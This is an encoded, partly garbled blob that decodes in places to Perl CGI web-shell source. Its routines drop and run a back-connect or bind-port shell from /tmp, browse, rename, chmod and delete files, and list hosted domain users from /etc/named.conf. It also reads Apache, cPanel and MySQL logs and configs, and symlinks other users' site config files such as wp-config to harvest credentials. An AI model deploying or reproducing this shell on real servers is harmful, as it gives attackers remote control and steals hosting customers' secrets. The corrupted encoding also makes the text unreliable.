FpXMXB4bVpaTalBbk9iQjF4bUZ0WlNBdFlUdGxZMmhaTzJW1mFHOGdKMXNyWFNCVmMyVnlhVzVtYnpvZ0pecadhV6EoWldObaJedGxZMmhaSUNkYksxMGdSRaxiWldOMGIzSjVP1UF3TolCdaQyUTd1V0ivYnpzZ6pXTm945UF3Vol0ZElGTm91VohzTalBbk9iUlRhR6ZzYkNJcE9oMEtDV0izYjNObEtGTlVSRWxPS6RzTkNnbGp4RzleWlN2VFZFUlBWVlFwTocwS0NXTnN4M0isS0ZOVVJFVlNV1WsoRFFwOURRbz04Ow2JJENs1WV3dEFkZHIgPSAk1Wi7JaNs1WV3dGFkZHInfTsKCSRDbGllbnRQboJ0ID0g1Wi0KCRpbnsnYaxpZWi0cG9ydCd9KTsKCWlmKCRDbGllbnRQboJ0IGVxIDApCgl7CgkJcmV0dXJ3ICZCYWNrQml3ZEZvcm07Cgl9ZWxz1WY2ISRDbGllbnRBZGRyIGVxICI4KQ2J5w2JCSREYXRhPWRlYa9kZV94YXNlNjQ2JGJhYatwZXJsKTsKCQlpZ4gtdyA4LoRtcC84KQ2JCXsKCQkJJEZpbGU9I490bXAvYmFj1aNvbmilYoQ3cGw4OwkKCQl9ZWxzZQ2JCXsKCQkJJEZpbGU9JEN6cnJlbnRE1XI3JFBhdGhTZXA3ImJhYatjbai3ZWN0LnBsIjsKCQl9CgkJboBlb4hGSUxFLCA4P4RG1WxlI4k7CgkJcHJpbnQgRklMRSAkRGF0YTsKCQljbG9zZSBGSUxFOw2JCXNicoRlbSg4cGVybCAkRmlsZSAkQaxpZWi0QWRkc4AkQaxpZWi0UG9ydCIpOw2JCXV3bGl31ygkRmlsZSk7CgkJZXhpdCAwOw2JfWVscaUKCXsKCQkkRGF0YT6kZWNvZGVfYmFzZTY0KCR41WikcGVybCk7CgkJ1WY2LXcgI490bXA4KQ2JCXsKCQkJJEZpbGU9I490bXAvYml3ZHBvcnQ3cGw4OwkKCQl9ZWxzZQ2JCXsKCQkJJEZpbGU9JEN6cnJlbnRE1XI3JFBhdGhTZXA3ImJpbmRwboJ0LnBsIjsKCQl9CgkJboBlb4hGSUxFLCA4P4RG1WxlI4k7CgkJcHJpbnQgRklMRSAkRGF0YTsKCQljbG9zZSBGSUxFOw2JCXNicoRlbSg4cGVybCAkRmlsZSAkQaxpZWi0UG9ydCIpOw2JCXV3bGl31ygkRmlsZSk7CgkJZXhpdCAwOw2JfQp9C4MtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyAgQXJyYXkgTGlzdCBE1XJlYoRvcnkKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUm6E1XI2JCkgCnsKCW6iICRk1XIgPSBz1GlmdDsKCWlmKG9wZWik1XI2RElSLCRk1XIpKQ2J5w2JCXd21WxlKCRm1WxlID0gcmVhZGRpc4hESVIpKQ2JCXsKCQkJ1WY2KCRm1WxlIGilICI3I4kgJ4YgKCRm1WxlIGilICI3L4IpKQ2JCQl7CgkJCQkkZmlsZT0gJGRpc4ukUGF01FNlcCukZmlsZTsKCQkJCWlmKC6kICRm1WxlKQ2JCQkJ5w2JCQkJCSZSbURpc4gkZmlsZSk7CgkJCQl9CgkJCQllbHNlCgkJCQl7CgkJCQkJdWis1WirKCRm1WxlKTsKCQkJCX0KCQkJfQ2JCX0KCQljbG9zZWRpc4hESVIpOw2JfQp9CnN6Y4BG1WxlTod3ZXI2JCkK5w2JbXkgJGZpbGUgPSBz1GlmdDsKCWlmKC6lICRm1WxlKQ2J5w2JCSgkdWlkLCRn1WQpID0gKHN0YXQ2JGZpbGUpKVs0LDVdOw2JCWlmKCRX1WiOVCkKCQl7CgkJCXJldHVyb4A4Pz8/IjsKCQl9CgkJZWxzZQ2JCXsKCQkJJGihbWU9ZaV0cHd61WQ2JHVpZCk7CgkJCSRncm96cD6nZXRncmdpZCgkZalkKTsKCQkJcmV0dXJ3ICR3YW6lL4IvI4ukZoJvdXA7CgkJfQ2JfQ2JcmV0dXJ3ICI/Pz84Owp9CnN6Y4BQYXJlbnRGbaxkZXI2JCkK5w2JbXkgJHBhdGggPSBz1GlmdDsKCW6iICRDba6tID0gImNkIFw4JEN6cnJlbnRE1XJcI4I3JENtZFNlcCu4YaQgL4u4L4RDbWRTZXA3JENtZFBoZDsKCWN2boA2JHBhdGggPSBgJENvbW6gKTsKCXJldHVyb4AkcGF01DsKfQpzdWIgRmlsZVBlcm6zKCQpCnsKCW6iICRm1WxlID0gcahpZnQ7Cglt5SAkdXIgPSA4LSI7Cglt5SAkdXcgPSA4LSI7CglpZ4gtZSAkZmlsZSkKCXsKCQlpZ4gkVal3TlQpCgkJ5w2JCQlpZ4gtc4AkZmlsZSl7ICR6c4A9ICJyIjsgfQ2JCQlpZ4gtdyAkZmlsZSl7ICR6dyA9ICJoIjsgfQ2JCQlyZXR6cmugJHVyICugI4AvICIgL4AkdXc7CgkJfWVscaUKCQl7CgkJCSRtbaRlPShzdGF0KCRm1WxlKSlbMl07CgkJCSRyZXN6bHQgPSBzcHJpbnRmKCIlMDRvI4wgJG6vZGUgJ4AwNzcoNyk7CgkJCXJldHVyb4AkcmVzdWx0Ow2JCX0KCX0KCXJldHVyb4A4MDAwMCI7Cn0KcoV4IEZpbGVMYXN0TW9k1WZpZWQ2JCkK5w2JbXkgJGZpbGUgPSBz1GlmdDsKCWlmKC6lICRm1WxlKQ2J5w2JCSgkbGEpID0gKHN0YXQ2JGZpbGUpKVsiXTsKCQk2JGQsJG0sJHksJGgsJGkpID0gKGxvYaFsdGltZSgkbGEpKVszLDQsNSwyLDFdOw2JCSRiID0gJHkgKyAxOTAwOw2JCUBtbai01CA9IHFoLzEgM4AzIDQgNSAaIDcgOCAiIDEwIDExIDEyLzsKCQkkbG601W6lID0gcoBy1Wi0Z4g4JTAyZC8lcy8lNGQgJTAyZD2lMDJkI4wkZCwkbW93dGhbJG6dLCRiLCR2LCRpKTsKCQlyZXR6cmugJGxtdGltZTsKCX0KCXJldHVyb4A4Pz8/IjsKfQpzdWIgRmlsZVNp5mU2JCkK5w2JbXkgJGZpbGUgPSBz1GlmdDsKCWlmKC6mICRm1WxlKQ2J5w2JCXJldHVyb4AtcyA4JGZpbGU4Ow2JfQ2JcmV0dXJ3ICIwIjsKfQpzdWIgUGFycaVG1WxlUaleZSgkKQp7Cglt5SAkcaleZSA9IHN21WZ0Ow2J1WY2JHNp5mUgPD0gMTAyNCkKCXsKCQlyZXR6cmugJHNp5mU3ICIgQ4I7Cgl9CgllbHNlCgl7CgkJ1WY2JHNp5mUgPD0gMTAyNC2xMDI0KSAKCQl7CgkJCSRz1XplID0gcoBy1Wi0Z4g4JSuwMmY4LCRz1XplIC8gMTAyNCk7CgkJCXJldHVyb4AkcaleZSu4IEtCIjsKCQl9CgkJZWxzZSAKCQl7CgkJCSRz1XplID0gcoBy1Wi0Z4g4JSuyZ4IsJHNp5mUgLyAxMDI0IC8gMTAyNCk7CgkJCXJldHVyb4AkcaleZSu4IE6CIjsKCQl9Cgl9Cn0KcoV4IHRy1W02JCkK5w2JbXkgJHN0cml3ZyA9IHN21WZ0Ow2JJHN0cml3ZyA9f4BzL6iccysvLzsKCSRzdHJpbmcgPXugcy9ccyskLy87CglyZXR6cmugJHN0cml3ZzsKfQpzdWIgQWRkUaxhcahlcygkKQp7Cglt5SAkcoRy1WinID0gcahpZnQ7CgkkcoRy1WinPXugcy9cXC9cXFxcLac7CglyZXR6cmugJHN0cml3ZzsKfQpzdWIgVHJpbVNsYXN2ZXM2JCkK5w2JbXkgJHN0cml3ZyA9IHN21WZ0Ow2JJHN0cml3Zz6+IHMvXC9cLy9cLy9nOw2JJHN0cml3Zz6+IHMvXFxcXC9cXC9nOw2JcmV0dXJ3ICRzdHJpbmc7Cn0KcoV4IExpcoRE1XIK5w2JbXkgJHBhdGggPSAmVHJpbVNsYXN2ZXM2JEN6cnJlbnRE1XI3JFBhdGhTZXApOw2JbXkgJHJlcoVsdCA9ICI8Zm9ybSB3YW6lPSdmJyBvblN6Ym6pdD6cIkV3Ya9kZXI2JaQnKVw4IGFjdGlvbj0nJFNjcmlwdExvYaF01W93Jzu8coBhb4BzdHlsZT0nZm93dD2gMTFwdCBWZXJkYWihOyBmbai0LXdl1Wd2dD2gYm9sZDsnPlBhdGgeIFsgI4umQWRkTGl310Rpc4g4ZoVpI4k3I4BdIDwvcoBhbju81WiwdXQgdHlwZT0ndGVudCcg1WQ9JaQnIGihbWU9JaQnIHNp5mU9JzQwJyBaYWx6ZT0nJEN6cnJlbnRE1XInIC8+PGl3cHV0IHRicGU9JahpZGRlb4cgbmFtZT0nYScgdmFsdWU9Jad61Sc+PGl3cHV0IGNsYXNzPSdzdWJt1XQnIHRicGU9JoN6Ym6pdCcgdmFsdWU9J0V3dGVyJzu8LaZvcm0+IjsKCWlmKC6kICRwYXR2KQ2J5w2JCW6iIEBmbmFtZSA9ICgpOw2JCW6iIEBkbmFtZSA9ICgpOw2JCWlmKG9wZWik1XI2RElSLCRwYXR2KSkKCQl7CgkJCXd21WxlKCRm1WxlID0gcmVhZGRpc4hESVIpKQ2JCQl7CgkJCQkkZj0kcGF01CukZmlsZTsKCQkJCWlmKC6kICRmKQ2JCQkJ5w2JCQkJCXB6cag2QGR3YW6lLCRm1WxlKTsKCQkJCX0KCQkJCWVscaUKCQkJCXsKCQkJCQlwdXN2KEBmbmFtZSwkZmlsZSk7CgkJCQl9CgkJCX0KCQkJYaxvcaVk1XI2RElSKTsKCQl9CgkJQGZ3YW6lID0gca9ydCB7IGxjKCRhKSBjbXAgbGM2JGIpIH0gQGZ3YW6lOw2JCUBkbmFtZSA9IHNvcnQg5yBsYygkYSkgYa6wIGxjKCR4KSB9IEBkbmFtZTsKCQkkcmVzdWx0ICu9ICI8ZGlaPjx0YWJsZSBo1WR01D0nOTAlJyBjbGFzcz0nbGlzdGRpc4c+CgkJPHRyIHN05WxlPSd4YWNrZoJvdWikLWNvbG9yO4AjMaUzZTNlJzu8dGg+VCYjMjM0OaugRmlsZTwvdGg+CgkJPHR2IHdpZHR2PScxMDAnPktpYasgVGgmIzQzMjsmIzcuOTk7YyBG1WxlPC901DuKCQk8dGggdalkdGg9JzE6MCc+T4YjNDEoOakgUyYjNzkwMzsg1CYjNzkxOTt6PC901DuKCQk8dGggdalkdGg9JzEwMCc+UyYjNzkyMTsgQyYjNzg0NTtwIFB2J4MyMzM7cDwvdGg+CgkJPHR2IHdpZHR2PScxNTAnPlR2YXkgJ4MyNzI7J4MoODkzOakgTSYjNzgiOTtpIEi2J4MoODQ6OoQ8LoR2Pg2JCTx01CBo1WR01D0nMjMwJziIJ4MyMjQ7bmggJ4MyNzI7J4MoODkoOainPC901Du8LoRyP4I7CgkJbXkgJHN05WxlPSJ3boRs1WilIjsKCQlt5SAk1T0wOw2JCWZvcmVhYaggbXkgJGQgKEBkbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSA4bGl3ZSIpID8gImivdGxpbmU4O4A4bGl3ZSI7CgkJCSRkID0gJnRy1W02JGQpOw2JCQkkZGlybmFtZT0kZDsKCQkJ1WY2JGQgZXEgI4u3I4kgCgkJCXsKCQkJCSRkID0gJlBhcmV3dEZvbGRlc4gkcGF01Ck7CgkJCX0KCQkJZWxz1WY2JGQgZXEgI4u4KSAKCQkJ5w2JCQkJbmVudDsKCQkJfQ2JCQllbHNlIA2JCQl7CgkJCQkkZCA9ICRwYXR2L4RkOw2JCQl9CgkJCSRyZXN6bHQgLj0gIjx0c4BjbGFzcz0nJHN05WxlJzu8dGQg1WQ9J0ZpbGVfJGknIGNsYXNzPSdk1XInPjxhICB2cmVmPSc/YT6ndWkmZD04L4ZFbmNvZGVE1XI2JGQpL4InPlsgI4ukZGlybmFtZSu4IF08LaE+PC90ZDu4Ow2JCQkkcmVzdWx0ICu9ICI8dGQ+RElSPC90ZDu4Ow2JCQkkcmVzdWx0ICu9ICI8dGQ+I4umRmlsZU9obmVyKCRkKSu4PC90ZDu4Ow2JCQkkcmVzdWx0ICu9ICI8dGQg1WQ9J0ZpbGVQZXJtc68k1ScgbaikYmxjbGlj1z6cInJtXaN2bW9kXaZvcm02dGhpcyw4L4RpL4IsJyI3JkZpbGVQZXJtcygkZCk3I4csJyI3JGRpcmihbWU3I4cpXCIgPjxzcGF3IG93YaxpYas9XCJj1G6vZF9mboJtKCI3JGk3I4wnI4ukZGlybmFtZSu4JylcI4A+I4umRmlsZVBlcm6zKCRkKSu4PC9zcGF3PjwvdGQ+IjsKCQkJJHJlcoVsdCA3PSA4PHRkP4I3JkZpbGVMYXN0TW9k1WZpZWQ2JGQpL4I8LoRkP4I7CgkJCSRyZXN6bHQgLj0gIjx0ZDu8YSBvbmNs1WNrPVw4cmV3YW6lXaZvcm02JGksJyRk1XJ3YW6lJywnI4umQWRkUaxhcahlcygmQWRkUaxhcahlcygkZCkpL4InKTsgcmV0dXJ3IGZhbHNlOyBcIjumIzIoMjsmIzcuOTM71SBUJ4MyMzQ7bjwvYTugIHwgPGEgbaijbGlj1z6cImlmKCFjbaim1XJtKCdSZW6vdmUgZGlyO4AkZGlybmFtZSA/JykpIHsgcmV0dXJ3IGZhbHNlOo6cI4B2cmVmPSc/YT6ndWkmZD04L4ZFbmNvZGVE1XI2JHBhdGgpL4ImcmVtboZlPSRk1XJ3YW6lJziE1SBD1HViJ4MoODc6Oau8LaE+PC90ZDu4Ow2JCQkkcmVzdWx0ICu9ICI8LoRyP4I7CgkJCSRpKys7CgkJfQ2JCWZvcmVhYaggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSA4bGl3ZSIpID8gImivdGxpbmU4O4A4bGl3ZSI7CgkJCSRm1WxlPSRmOw2JCQkkZ4A9ICRwYXR2L4RmOw2JCQlt5SAkYWN01W93ID0gZWijbaRlXaJhcaUaNCg4ZWRpdCA4L4Rm1WxlKTsKCQkJJHZpZXcgPSA4PaRpcj04L4RwYXR2L4Imdmlldz04L4RmOw2JCQkkcmVzdWx0ICu9ICI8dHIgYaxhcoM9JyRzdHlsZSc+PHRkIGlkPSdG1WxlXyRpJyBjbGFzcz0nZmlsZSc+PGEg1HJlZj0nPaE9Ya9tbWF3ZCZkPSI3JkV3Ya9kZURpc4gkcGF01Ck3I4ZjPSI3JGFjdGlvb4u4Jzu4L4Rm1WxlL4I8LaE+PC90ZDu4Ow2JCQkkcmVzdWx0ICu9ICI8dGQ+I4umUGFycaVG1WxlUaleZSgmRmlsZVNp5mU2JGYpKSu4PC90ZDu4Ow2JCQkkcmVzdWx0ICu9ICI8dGQ+I4umRmlsZU9obmVyKCRmKSu4PC90ZDu4Ow2JCQkkcmVzdWx0ICu9ICI8dGQg1WQ9J0ZpbGVQZXJtc68k1ScgbaikYmxjbGlj1z6cInJtXaN2bW9kXaZvcm02dGhpcyw4L4RpL4IsJyI3JkZpbGVQZXJtcygkZ4k3I4csJyI3JGZpbGU3I4cpXCIgPjxzcGF3IG93YaxpYas9XCJj1G6vZF9mboJtKCRpLCckZmlsZScpXCIgP4I3JkZpbGVQZXJtcygkZ4k3IjwvcoBhbju8LoRkP4I7CgkJCSRyZXN6bHQgLj0gIjx0ZDu4L4ZG1WxlTGFzdE6vZGlm1WVkKCRmKSu4PC90ZDu4Ow2JCQkkcmVzdWx0ICu9ICI8dGQ+PGEgbaijbGlj1z6cInJlbmFtZV9mboJtKCRpLCckZmlsZScsJaYnKTsgcmV0dXJ3IGZhbHNlO6w4P4YjMjcyOyYjNzgiMztpIFQmIzIzNDt3PC9hP4B8IDxhIGhyZWY9Jz9hPWRvdaisbaFkJm89Za8mZj04L4RmL4InPlQmIzcuNDM71SBYdSYjNzguOTt3ZzwvYTugfCA8YSBvbmNs1WNrPVw41WY2IWNvbmZpcm02J6JlbW9aZSBm1WxlO4AkZmlsZSA/JykpIHsgcmV0dXJ3IGZhbHNlOo6cI4B2cmVmPSc/YT6ndWkmZD04L4ZFbmNvZGVE1XI2JHBhdGgpL4ImcmVtboZlPSRm1WxlJziE1SBD1HViJ4MoODc6Oau8LaE+PC90ZDu4Ow2JCQkkcmVzdWx0ICu9ICI8LoRyP4I7CgkJCSRpKys7CgkJfQ2JCSRyZXN6bHQgLj0gIjwvdGF4bGU+PC9k1XY+IjsKCX0KCXJldHVyb4AkcmVzdWx0Owp9C4MtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUcnkgdG8gVmlldyBM1XN0IFVzZXIKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVmlld0RvbWFpblVzZXIK5w2JboBlb4A2ZDBtYWl3cywgJy9ldGMvbmFtZWQ3Ya93Z4cpIG9yICRlcnI9MTsKCW6iIEBjbnpzID0gPGQwbWFpbnM+Ow2JYaxvcaUgZDBtYWl3czsKCW6iICRzdHlsZT04bGl3ZSI7Cglt5SAkcmVzdWx0PSI81DM+PGZvbnQgcoRibGU9JaZvbnQeIDE6cHQgVmVyZGF3YTtjbaxvcj2gMDBGRjAwOyc+QyYjNzg0Mzt31CBCJ4MyMjU7byAhIFN2ZWxsICYjMjcyOyYjNzgoNTsgUyYjNzkxNzsgRCYjNzkwOTt3ZyBU1GFtIEt2J4MoODQzOa8sIEt2J4MyNDQ7bmcgSGFj1zwvZm93dDu8LagzP4I7CglpZ4A2JGVyc4kKCXsKCQkkcmVzdWx0ICu9ICA2JzxwPlR2J4MoODQ6OoQgQ4YjNzg0MTtpLCBL1CYjMjQ0OainIFR2J4MoODc6OyBWJ4M0MzI7J4MoOTAoOoQgUXVhIEumIzI0Mzs8LoA+Jyk7CgkJcmV0dXJ3ICRyZXN6bHQ7Cgl9ZWxzZQ2J5w2JCSRyZXN6bHQgLj0gJzx0YWJsZSBpZD04ZG9tYWl3Iju8dHI+PHR2PmQwbWFpbnM8LoR2P4A8dGg+VXNlcjwvdGg+PC90cjunOw2JfQ2JZm9yZWFj1CBt5SAkbailIChAYaiecykKCXsKCQlpZ4gkbailID6+IG0vL42/5m93ZSA4KCuqPyk4IHsvKQ2JCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSA4bGl3ZSIpID8gImivdGxpbmU4O4A4bGl3ZSI7CgkJCSRm1WxlbmFtZT0gdHJpbSg4LaV0Yy9aYWxpYXNlcy84L4QxKTsKCQkJJG9obmVyID0gZaV0cHd61WQ2KHN0YXQ2JGZpbGV3YW6lKSlbNF0pOw2JCQkkcmVzdWx0ICu9ICc8dHIgcoRibGU9I4RzdHlsZSIgdalkdGg9NTAlPjx0ZDu8YSB2cmVmPSJ2dHRwO48vJyukMSunI4B0YXJnZXQ9Il94bGF31yI+JyukMSunPC9hPjwvdGQ+PHRkP4AnL4Rvdailc4unPC90ZDu8LoRyP4c7CgkJfQ2JfQ2JJHJlcoVsdCA3PSAnPC90YWJsZTunOw2JcmV0dXJ3ICRyZXN6bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ2jIFZpZXcgTG9nC4MtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KcoV4IFZpZXdMbacK5w2JJEV3Ya9kZUN6cnJlbnRE1XIgPSBFbmNvZGVE1XI2JEN6cnJlbnRE1XIpOw2J1WY2JFdpbkiUKQ2J5w2JCXJldHVyb4A4PGgyPjxmbai0IHN05WxlPSdmbai0O4AyMHB0IFZlcmRhbmE7Ya9sboIeIDAwRkYwMDsnPkRvb4d0IHJ6b4Bvb4BX1WikbodzPC9mbai0Pjwv1DI+IjsKCX0KCW6iICRyZXN6bHQ9Ijx0YWJsZTu8dHI+PHR2PlBhdGggTG9nPC901Du8dGg+UoV4bWl0PC901Du8LoRyP4I7Cglt5SBAcGF01GxvZz02CScvdXNyLaxvYaFsLaFwYWN2ZS9sbadzLaVycm9yXaxvZycsCgkJCScvdXNyLaxvYaFsLaFwYWN2ZS9sbadzLaFjYaVzc69sbacnLA2JCQknLoVzc49sbaNhbC9hcGFj1GUyLaNvbmYv1HR0cGQ3Ya93Z4csCgkJCScvdmFyLaxvZy92dHRwZC9lcnJvcl9sbacnLA2JCQknLoZhc49sbacv1HR0cGQvYWNjZXNzXaxvZycsCgkJCScvdXNyLaxvYaFsLaNwYWilbC9sbadzLaVycm9yXaxvZycsCgkJCScvdXNyLaxvYaFsLaNwYWilbC9sbadzLaFjYaVzc69sbacnLA2JCQknLoVzc49sbaNhbC9hcGFj1GUvbG9ncy9zdXB2cF9sbacnLA2JCQknLoVzc49sbaNhbC9jcGF3ZWwvbG9ncycsCgkJCScvdXNyLaxvYaFsLaNwYWilbC9sbadzLoN0YXRzXaxvZycsCgkJCScvdXNyLaxvYaFsLaNwYWilbC9sbadzLaFjYaVzc69sbacnLA2JCQknLoVzc49sbaNhbC9jcGF3ZWwvbG9ncy9lcnJvcl9sbacnLA2JCQknLoVzc49sbaNhbC9jcGF3ZWwvbG9ncy9s1WNlbnNlXaxvZycsCgkJCScvdXNyLaxvYaFsLaNwYWilbC9sbadzLaxvZal3XaxvZycsCgkJCScvdXNyLaxvYaFsLaNwYWilbC9sbadzLoN0YXRzXaxvZycsCgkJCScvdmFyLaNwYWilbC9jcGF3ZWw3Ya93ZmlnJywKCQkJJy96coIvbG9jYWwvcGhwLaxpY49w1HA31WipJywKCQkJJy96coIvbG9jYWwvcGhwNS9s1WIvcGhwLml31ScsCgkJCScvdmFyLaxvZy9t5XNxbC9t5XNxbC641Wu3bG9nJywKCQkJJy9aYXIvbG9nLa6icoFsLmxvZycsCgkJCScvdmFyLaxvZy9t5XNxbGRlcnJvc4isbacnLA2JCQknLoZhc49sbacvbXlzcWwvbXlzcWw3bG9nJywKCQkJJy9aYXIvbG9nLa6icoFsLa6icoFsLXNsboc3bG9nJywKCQkJJy9aYXIvbXlzcWw3bG9nJywKCQkJJy9aYXIvbGl4La6icoFsLa6iLmN3Z4csCgkJCScvZXRjLa6icoFsLa6iLmN3Z4csCgkJCScvZXRjLa6iLmN3Z4csCgkJCSk7Cglt5SAk1T0wOw2JbXkgJHBlcm6zOw2JbXkgJHNsOw2JZm9yZWFj1CBt5SAkbG9nIChAcGF01GxvZykKCXsKCQlpZ4gtc4AkbG9nKQ2JCXsKCQkJJHBlcm6zPSJPSyI7CgkJfWVscaUKCQl7CgkJCSRwZXJtcz04PGZvbnQgcoRibGU9JaNvbG9yO4ByZWQ7JziDYWijZWw8Zm93dDu4Ow2JCX0KCQkkcmVzdWx0ICu9PDxFTkQ7CgkJPHRyPg2KCQkJPGZvcm0gYWN01W93PSI4IG6ldGhvZD04cG9zdCIgbaiTdWJt1XQ9IkV3Ya9kZXI2JaxvZyRpJyk4Pg2JCQk8dGQ+PGl3cHV0IHRicGU9InRl5HQ4IGlkPSJsback1SIgbmFtZT04YyIgdmFsdWU9InRh1WwgLTEwMDAwICRsbacgfCBncmVwICcv1G9tZSc4IHNp5mU9JzUwJy8+PC90ZDuKCQkJPHRkPjxpbnB6dCBjbGFzcz04coV4bWl0I4B05XBlPSJzdWJt1XQ4IHZhbHVlPSJUcnk4IC8+PC90ZDuKCQkJPGl3cHV0IHRicGU9ImhpZGRlb4IgbmFtZT04YSIgdmFsdWU9ImNvbW6hbmQ4IC8+CgkJCTxpbnB6dCB05XBlPSJ21WRkZWu4IGihbWU9ImQ4IHZhbHVlPSIkRWijbaRlQoVycmV3dERpc4IgLzuKCQkJPC9mboJtPg2JCQk8dGQ+JHBlcm6zPC90ZDuKCgkJPC90cjuKRUiECgkJJGkrKzsKCX0KCSRyZXN6bHQgLj04PC90YWJsZTu4Ow2JcmV0dXJ3ICRyZXN6bHQ7Cn0KcoV4IENvbmZpZ06hcmlvbnsKboBlb4A2QoJlYXRlTmVoLCI+Qa93ZmlnLk6hcmlvbjAwMSIpIG9yIGRpZSA4SagmIzI0NDt3ZyBU1CYjNzgoNTsgVCYjNzg0MTtvIEZpbGU4Ow2kYa93ZmlnbWFy1W93ID0gIkliRXZkWEiiTDJKcGJpOXd1WEpzSUMxSkwzVnpj1TlzYjJO1GJDOWlZVzVrYldsdUN3QnlhVzUwSUNKRGIyNTB1VzUwTFhSNWNHVTZJSFJsZUhRdmFIUnR4Rnh6WEc01U9ocHdjbWx6ZENjOElVUlBRMVJ1VUVVZaFIUnR4Q0JRVlVKTVNVTWdJ1TBaTDFj5lFiOHZSRlJFSUZ2SVZFMU6JREV6TUNCVWNtRnVjMmwwYVcidVlXdoZMMFZPSWlB1WFIUjBjRG9aTDNkMaRiNTNN5TVaYa6jdlZGSXZlRagwYldo5EwwUlVSQzk0YUhSdGJERXRkSEp2YmiOcGRHbHZ4bUZzTG6SMFpDSStD1nhvZEcxc0lI1HR4RzVeUFNKbaRIUndP1ThaZDNkM0x3YopMbTliWnku5E9U1zVMMahvZEcxc0lqNDhhR6Z2WkQ0OGJXVjBZU0JvZEhSd0xXVnhkVawyUFNKRGIyNTB1VzUwTFVu1GJtZDFZVaRsSWlC1mIyNTB1VzUwUFNKbGJpMTFj5UlnTH20S6BHMWxkR0VnYUhSMGNDMWxjWFZwZG2w1VEyOXVkR6Z6ZEMxVWVYQmxJ1UJqYjI6MFpXNTBQU02wWlh2MEwy1DB4VocoSUdOb6lYSnp1WFEiZFhSbUxUZalJQzgrUEhScGRH5GxQ10iaYm61cFpiNUiZWEpwYjI0d06ERThMM6JwZEdubFBnbzhjM6I6YkdVZaRIbHd1VDBpZEdWNGRDOWpjM06pUGdvdWJtVjNVM6I6YkdV5ElIc0tJR6paYmiRdFptRnRhVog6TalCVVlX1HZ4V0UoQalCbWIyNTBMWEiwZW6VNklIZoRjMjF2YkdoN0NpQm64MjUwTFhkbGFXZG9kRG9nWW0ic6pEc0tJR0iaYkci5U9pQWpNREJHUmt1R09obadJSFJsZUhRdFlX5HB1MjQaSUdObGJ3Umxj1nNLZlFvOEwzTjBlVohsUGpodmFHVmh1RDR3Todw5mRXSWd4RaxzZXdvZ0lDQWdLQ6IxYzJW5UtTQTlJRUJmTodv1aJYTnlJRDBnY6h2NaNIZGtmVHNLSkd0dmJHRTlKRzFeYak01UxiSXVKSFZeWlhJN0NpUnJ4Mnh2UFg65kwx5HVM5Tl3Todw5mVXMXNhVzVyS0NjdmFHOXR1Uzh3TGlSMWMyVnlM1WNaY0hW1WJHbGpYMmgwYldodmRtSXZhVzVqYkhW16pYTXZZMjl6Wm6sbkx3Qm9jQaNzSkd0dmJHRXVKMzUrZGtKMWJH5GxkRax6TVMxTllYSnB4MjRoTURFdWRI1DBK5WsoQaiONWJX5HB4bXNvSnkibaIyMWxM5WN6SkhW5lpYSXVK5TloZFdKcaFXTmZhSFJ0YkMicGJtTnNkV6JsYoki1mIyNW6hVaN6Y0d2d0pidathMjlzWVM0bmZ3NTJRblZzYkdWMGFXNHlMVTF2Ya6sdmJqQXdNUzUwZUhRbktUc0tjMax0YkdsdWFiZaiMMmhaYldVdkpiNGtkWEisYak0bkwzQjFZbXhwWTEibaRHMXNMMlpaYaiWdEwybHVZMngxWkdW5kwyTnZ4bVpwWnk6daFIQWiMQ6JyYjJu1ExpZCtmblpDZFduc6pYUnB41k60VFdG5WFXOXVNREFuTGiSNGRDYoBPdoBeZVcxcaFXNXJLQaNaYUcidFpTOGiM1VIxYzJW5UxpYoZjSFZpYkds1lgy1DB4VodaWTJNdmFXNWp4SFZrWlhNdlkyOXV1bWx3TGiCbaNDYoNKRoRaYkdFdU2zNStk102xYkdubGRHbHVOQzFOWVhKcGIyNHdNREV6ZEh2MEpi1zdDbku6YlducGJtca9K5TlvYjIxbExiYoVKSFZeWlhJdUpiOXdkV0pzYVdOZmFIUnR4QzlqYjI6bWFXYoVjRahoSnlo1aEyOXNZUzR3Zmu6UWFIQmlZ1kV0VFdG5WFXOXVNREFuTGiSNGRDYoBPdoBeZVcxcaFXNXJLQaNaYUcidFpTOGiM1VIxYzJW5UxpYoZjSFZpYkds1lgy1DB4VodaWm0i5WRXMHZhVzVqYkhW16pYTXZZMjl6Wm6sbkx3Qm9jQaNzSkd0dmJHRXVKMzUrVUd2d6ltSXlMVTF2Ya6sdmJqQXdNUzUwZUhRbktUc0tjMax0YkdsdWFiZaiMMmhaYldVdkpiNGtkWEisYak0bkwzQjFZbXhwWTEibaRHMXNMMaRoTFdOdmJtWnB15TVoYUhBbkxDUnJ4Mnh2TGlkKaZsZHZjbVJoYa6W5mNeRXRUV0ZiYVcidU6EQXhMblI0ZENjcE9ocHplVzFzYVc6cktDYoZhRzl0WlMubkxpUjFjMlZiTGljdmNIVml4RaxqWDJ2MGJXdoZZbXhaWnkiMaNDMWp4MjVtYVdjdWNH1HdK5XdrYTIic6lTNGimbjVYYjNK1aNISmxjM06iTFUx1GNtbHZ41kFoTVM6MGVIUWiLVHNLYzNsdGJHbHVh5Wd3TDJ2dmJXVXZK5TRrZFhObGNpNGiMM0IxWW6ucFkxOW9kRzFzTD